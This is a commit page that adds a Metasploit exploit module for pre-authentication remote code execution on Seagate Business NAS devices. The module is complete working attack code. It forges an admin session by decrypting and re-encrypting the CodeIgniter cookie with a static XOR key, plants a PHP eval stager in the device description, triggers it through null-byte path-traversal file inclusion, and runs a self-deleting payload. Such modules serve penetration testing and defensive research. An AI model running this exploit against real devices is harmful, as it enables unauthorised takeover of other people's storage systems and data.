Add exploit for Seagate Business NAS devices
This module is an exploit for a pre-authenticated remote code execution vulnerability in Seagate Business NAS products.bug/bundler_fix
parent
b27c9b9efc
commit
905a539a00
|
@ -0,0 +1,354 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rexml/document'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Seagate Business NAS Unauthenticated Remote Command Execution',
|
||||
'Description' => %q{
|
||||
Some Seagate Business NAS devices are vulnerable to command execution via a local
|
||||
file include vulnerability hidden in the language parameter of the CodeIgniter
|
||||
session cookie. The vulnerability manifests in the way the language files are
|
||||
included in the code on the login page, and hence is open to attack from users
|
||||
without the need for authentication. The cookie can be easily decrypted using a
|
||||
known static encryption key and re-encrypted once the PHP object string has been
|
||||
modified.
|
||||
|
||||
This module has been tested on the STBN300 device.
|
||||
},
|
||||
'Author' => [
|
||||
'OJ Reeves <oj[at]beyondbinary.io>' # Discovery and Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2014-8684'],
|
||||
['CVE', '2014-8686'],
|
||||
['CVE', '2014-8687'],
|
||||
['EDB', '36202'],
|
||||
['URL', 'http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/'],
|
||||
['URL', 'https://beyondbinary.io/advisory/seagate-nas-rce/']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 01 2015',
|
||||
'Privileged' => true,
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Payload' => {'DisableNops' => true},
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'DefaultTarget' => 0,
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to the application root', '/']),
|
||||
OptString.new('ADMINACCOUNT', [true, 'Name of the NAS admin account', 'admin']),
|
||||
OptString.new('COOKIEID', [true, 'ID of the CodeIgniter session cookie', 'ci_session']),
|
||||
OptString.new('XORKEY', [true, 'XOR Key used for the CodeIgniter session', '0f0a000d02011f0248000d290d0b0b0e03010e07'])
|
||||
])
|
||||
end
|
||||
|
||||
#
|
||||
# Write a string value to a serialized PHP object without deserializing it first.
|
||||
# If the value exists it will be updated.
|
||||
#
|
||||
def set_string(php_object, name, value)
|
||||
prefix = "s:#{name.length}:\"#{name}\";s:"
|
||||
if php_object.include?(prefix)
|
||||
# the value already exists in the php blob, so update it.
|
||||
return php_object.gsub("#{prefix}\\d+:\"[^\"]*\"", "#{prefix}#{value.length}:\"#{value}\"")
|
||||
end
|
||||
|
||||
# the value doesn't exist in the php blob, so create it.
|
||||
count = php_object.split(':')[1].to_i + 1
|
||||
php_object.gsub(/a:\d+(.*)}$/, "a:#{count}\\1#{prefix}#{value.length}:\"#{value}\";}")
|
||||
end
|
||||
|
||||
#
|
||||
# Findez ze holez!
|
||||
#
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Accept' => 'text/html'
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
headers = res.to_s
|
||||
|
||||
# validate headers
|
||||
if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')
|
||||
# and make sure that the body contains the title we'd expect
|
||||
if res.body.include?('Login to BlackArmor')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
|
||||
# something went wrong, assume safe.
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
#
|
||||
# Executez ze sploitz!
|
||||
#
|
||||
def exploit
|
||||
|
||||
# Step 1 - Establish a session with the target which will give us a PHP object we can
|
||||
# work with.
|
||||
begin
|
||||
print_status("#{peer} - Establishing session with target ...")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Accept' => 'text/html'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.to_s =~ /#{datastore['COOKIEID']}=([^;]+);/
|
||||
cookie_value = $1.strip
|
||||
else
|
||||
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.")
|
||||
end
|
||||
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
|
||||
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.")
|
||||
end
|
||||
|
||||
# Step 2 - Decrypt the cookie so that we have a PHP object we can work with directly
|
||||
# then update it so that it's an admin session before re-encrypting
|
||||
print_status("#{peer} - Upgrading session to administrator ...")
|
||||
php_object = decode_cookie(cookie_value)
|
||||
vprint_status("#{peer} - PHP Object: #{php_object}")
|
||||
|
||||
admin_php_object = set_string(php_object, 'is_admin', 'yes')
|
||||
admin_php_object = set_string(admin_php_object, 'username', datastore['ADMINACCOUNT'])
|
||||
vprint_status("#{peer} - Admin PHP object: #{admin_php_object}")
|
||||
|
||||
admin_cookie_value = encode_cookie(admin_php_object)
|
||||
|
||||
# Step 3 - Extract the current host configuration so that we don't lose it.
|
||||
host_config = nil
|
||||
|
||||
# This time value needs to be consistent across calls
|
||||
config_time = ::Time.now.to_i
|
||||
|
||||
begin
|
||||
print_status("#{peer} - Extracting existing host configuration ...")
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri, 'index.php/mv_system/get_general_setup'),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Accept' => 'text/html'
|
||||
},
|
||||
'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
|
||||
'vars_get' => {
|
||||
'_' => config_time
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
res.body.split("\r\n").each do |l|
|
||||
if l.include?('general_setup')
|
||||
host_config = l
|
||||
break
|
||||
end
|
||||
end
|
||||
else
|
||||
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.")
|
||||
end
|
||||
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
|
||||
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.")
|
||||
end
|
||||
|
||||
print_good("#{peer} - Host configuration extracted.")
|
||||
vprint_status("#{peer} - Host configuration: #{host_config}")
|
||||
|
||||
# Step 4 - replace the host device description with a custom payload that can
|
||||
# be used for LFI. We have to keep the payload small because of size limitations
|
||||
# and we can't put anything in with '$' in it. So we need to make a simple install
|
||||
# payload which will write a required payload to disk that can be executes directly
|
||||
# as the last part of the payload. This will also be self-deleting.
|
||||
param_id = rand_text_alphanumeric(3)
|
||||
|
||||
# There are no files on the target file system that start with an underscore
|
||||
# so to allow for a small file size that doesn't collide with an existing file
|
||||
# we'll just prefix it with an underscore.
|
||||
payload_file = "_#{rand_text_alphanumeric(3)}.php"
|
||||
|
||||
installer = "file_put_contents('#{payload_file}', base64_decode($_POST['#{param_id}']));"
|
||||
stager = Rex::Text.encode_base64(installer)
|
||||
stager = xml_encode("<?php eval(base64_decode('#{stager}')); ?>")
|
||||
vprint_status("#{peer} - Stager: #{stager}")
|
||||
|
||||
# Butcher the XML directly rather than attempting to use REXML. The target XML
|
||||
# parser is way to simple/flaky to deal with the proper stuff that REXML
|
||||
# spits out.
|
||||
desc_start = host_config.index('" description="') + 15
|
||||
desc_end = host_config.index('"', desc_start)
|
||||
xml_payload = host_config[0, desc_start] +
|
||||
stager + host_config[desc_end, host_config.length]
|
||||
vprint_status(xml_payload)
|
||||
|
||||
# Step 5 - set the host description to the stager so that it is written to disk
|
||||
print_status("#{peer} - Uploading stager ...")
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'),
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'Accept' => 'text/html'
|
||||
},
|
||||
'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
|
||||
'vars_get' => {
|
||||
'_' => config_time
|
||||
},
|
||||
'vars_post' => {
|
||||
'general_setup' => xml_payload
|
||||
}
|
||||
)
|
||||
|
||||
unless res && res.code == 200
|
||||
fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (invalid result).")
|
||||
end
|
||||
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
|
||||
fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (unable to establish connection).")
|
||||
end
|
||||
|
||||
print_good("#{peer} - Stager uploaded.")
|
||||
|
||||
# Step 6 - Invoke the stage, passing in a self-deleting php script body.
|
||||
print_status("#{peer} - Executing stager ...")
|
||||
payload_php_object = set_string(php_object, 'language', "../../../etc/devicedesc\x00")
|
||||
payload_cookie_value = encode_cookie(payload_php_object)
|
||||
self_deleting_payload = "<?php unlink(__FILE__);\r\n#{payload.encoded}; ?>"
|
||||
errored = false
|
||||
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri),
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'Accept' => 'text/html'
|
||||
},
|
||||
'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}",
|
||||
'vars_post' => {
|
||||
param_id => Rex::Text.encode_base64(self_deleting_payload)
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
print_good("#{peer} - Stager execution succeeded, payload ready for execution.")
|
||||
else
|
||||
print_error("#{peer} - Stager execution failed (invalid result).")
|
||||
errored = true
|
||||
end
|
||||
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
|
||||
print_error("#{peer} - Stager execution failed (unable to establish connection).")
|
||||
errored = true
|
||||
end
|
||||
|
||||
# Step 7 - try to restore the previous configuration, allowing exceptions
|
||||
# to bubble up given that we're at the end. This step is important because
|
||||
# we don't want to leave a trail of junk on disk at the end.
|
||||
print_status("#{peer} - Restoring host config ...")
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'),
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'Accept' => 'text/html'
|
||||
},
|
||||
'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
|
||||
'vars_get' => {
|
||||
'_' => config_time
|
||||
},
|
||||
'vars_post' => {
|
||||
'general_setup' => host_config
|
||||
}
|
||||
)
|
||||
|
||||
# Step 8 - invoke the installed payload, but only if all went to plan.
|
||||
unless errored
|
||||
print_status("#{peer} - Executing payload at #{normalize_uri(target_uri, payload_file)} ...")
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri, payload_file),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Accept' => 'text/html'
|
||||
},
|
||||
'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}"
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Take a CodeIgnitor cookie and pull out the PHP object using the XOR
|
||||
# key that we've been given.
|
||||
#
|
||||
def decode_cookie(cookie_content)
|
||||
cookie_value = Rex::Text.decode_base64(URI.decode(cookie_content))
|
||||
pass = xor(cookie_value, datastore['XORKEY'])
|
||||
result = ''
|
||||
|
||||
(0...pass.length).step(2).each do |i|
|
||||
result << (pass[i].ord ^ pass[i + 1].ord).chr
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
#
|
||||
# Take a serialised PHP object cookie value and encode it so that
|
||||
# CodeIgniter thinks it's legit.
|
||||
#
|
||||
def encode_cookie(cookie_value)
|
||||
rand = Rex::Text.sha1(rand_text_alphanumeric(40))
|
||||
|
||||
block = ''
|
||||
|
||||
(0...cookie_value.length).each do |i|
|
||||
block << rand[i % rand.length]
|
||||
block << (rand[i % rand.length].ord ^ cookie_value[i].ord).chr
|
||||
end
|
||||
|
||||
cookie_value = xor(block, datastore['XORKEY'])
|
||||
cookie_value = CGI.escape(Rex::Text.encode_base64(cookie_value))
|
||||
vprint_status("#{peer} - Cookie value: #{cookie_value}")
|
||||
|
||||
cookie_value
|
||||
end
|
||||
|
||||
#
|
||||
# XOR a value against a key. The key is cycled.
|
||||
#
|
||||
def xor(string, key)
|
||||
result = ''
|
||||
|
||||
string.bytes.zip(key.bytes.cycle).each do |s, k|
|
||||
result << (s ^ k)
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
#
|
||||
# Simple XML substitution because the target XML handler isn't really
|
||||
# full blown or smart.
|
||||
#
|
||||
def xml_encode(str)
|
||||
str.gsub(/</, '<').gsub(/>/, '>')
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue